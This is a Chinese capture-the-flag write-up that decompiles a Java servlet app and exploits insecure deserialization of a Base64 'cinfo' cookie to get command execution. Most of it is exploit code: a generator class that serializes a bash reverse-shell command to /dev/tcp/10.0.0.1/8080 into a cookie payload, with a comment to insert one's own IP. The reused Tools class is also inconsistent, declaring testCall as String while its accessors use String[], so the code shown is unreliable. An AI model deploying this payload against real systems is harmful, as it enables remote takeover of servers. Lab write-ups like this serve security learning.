首先下载源码,使用jd-gui反编译
然后save-all-sources把源码保存出来
首先在ClentInfoFilter类内,这个类的主要作用是用来获取客户端的信息,并且过滤
public class ClentInfoFilter implements Filter {
public void init(FilterConfig fcg) {}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
Cookie[] cookies = ((HttpServletRequest)request).getCookies(); //获取到客户端的cookie信息
boolean exist = false;
Cookie cookie = null; //设置一个cookie变量
if (cookies != null) //判断拿到客户端的cookies如果不为空
for (Cookie c : cookies) { //循环cookies变量
if (c.getName().equals("cinfo")) { //如果拿到cookies里有变量是cinfo就退出
exist = true; //退出并且设置一个变量用于下面
cookie = c; //将拿到的cinfo赋值给cookie
break;
}
}
if (exist) { //判断上面存在的话
String b64 = cookie.getValue(); //得到cookie的具体值
Base64.Decoder decoder = Base64.getDecoder(); //创建一个base64解密对象
byte[] bytes = decoder.decode(b64); //对值进行base64解密
ClientInfo cinfo = null;
if (b64.equals("") || bytes == null) { //这里判断解密出来的数据流如果为空
cinfo = new ClientInfo("Anonymous", "normal", ((HttpServletRequest)request).getRequestedSessionId());
Base64.Encoder encoder = Base64.getEncoder();
try {
bytes = Tools.create(cinfo);
} catch (Exception e) {
e.printStackTrace();
}
cookie.setValue(encoder.encodeToString(bytes));
} else { //不为空调用tools里的parse
try {
cinfo = (ClientInfo)Tools.parse(bytes);
} catch (Exception e) {
e.printStackTrace();
}
}
((HttpServletRequest)request).getSession().setAttribute("cinfo", cinfo);
} else { //这里就是上面的判断没有拿到cinfo就给客户端重新设置一个cookie
Base64.Encoder encoder = Base64.getEncoder();
try {
ClientInfo cinfo = new ClientInfo("Anonymous", "normal", ((HttpServletRequest)request).getRequestedSessionId());
byte[] bytes = Tools.create(cinfo);
cookie = new Cookie("cinfo", encoder.encodeToString(bytes));
cookie.setMaxAge(86400);
((HttpServletResponse)response).addCookie(cookie);
((HttpServletRequest)request).getSession().setAttribute("cinfo", cinfo);
} catch (Exception e) {
e.printStackTrace();
}
}
chain.doFilter(request, response);
}
public void destroy() {}
}
接下来分析tools类,这个类一眼就能看到是个序列化和反序列化类,继承了Serializable,并且写了序列化函数和反序列化函数
public class Tools implements Serializable {
private static final long serialVersionUID = 1L;
private String testCall;
public static Object parse(byte[] bytes) throws Exception { //反序列化函数
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
return ois.readObject();
}
public static byte[] create(Object obj) throws Exception { //序列化函数
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(bos);
outputStream.writeObject(obj);
return bos.toByteArray();
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { //重写的readObject
Object obj = in.readObject(); //读类
(new ProcessBuilder((String[])obj)).start(); //这里就是命令执行的点,把读出来的类执行start()方法
}
}
读到这里就很明显了,就是给cookie设置反序列化
把tools类单独拿出来生成反序列化语句,并且进行base64加密,因为他在cookie解析的时候会先base64解密成序列化流,再进行反序列化
这里他的String testCall函数并没有设置set和get方法,所以需要手动生成一下
还有一个坑,就是接收命令执行对象的时候是使用的String[]接收的,所以需要把testCall设置成String[]
写一个测试类,并且把他的tools类拿过来复用一下
测试类代码
import java.util.Base64;
public class Toolstest {
public static void main(String[] args) throws Exception {
Tools tool = new Tools();
tool.setTestCall(new String[]{"bash","-c","bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"}); //这里需要改成自己的反弹ip
byte[] bytes = tool.create(tool);
Base64.Encoder encoder = Base64.getEncoder();
System.out.println(encoder.encodeToString(bytes));
}
}
tools类,直接复制,这里把String改成String[],并且给testCall变量增加set和get方法, 用于访问私有成员变量
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
public class Tools implements Serializable {
private static final long serialVersionUID = 1L;
private String testCall;
public static Object parse(byte[] bytes) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
return ois.readObject();
}
public static byte[] create(Object obj) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(bos);
outputStream.writeObject(obj);
return bos.toByteArray();
}
public String[] getTestCall() {
return testCall;
}
public void setTestCall(String[] testCall) {
this.testCall = testCall;
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
Object obj = in.readObject();
(new ProcessBuilder((String[])obj)).start();
}
}
运行主类,生成base64的cookie替换
这样把cookie替换掉,就能得到一个反弹shell,本次复现没有成功,猜测可能是buu的docker内部网络不通
原文:https://www.cnblogs.com/alpenliebe/p/14352579.html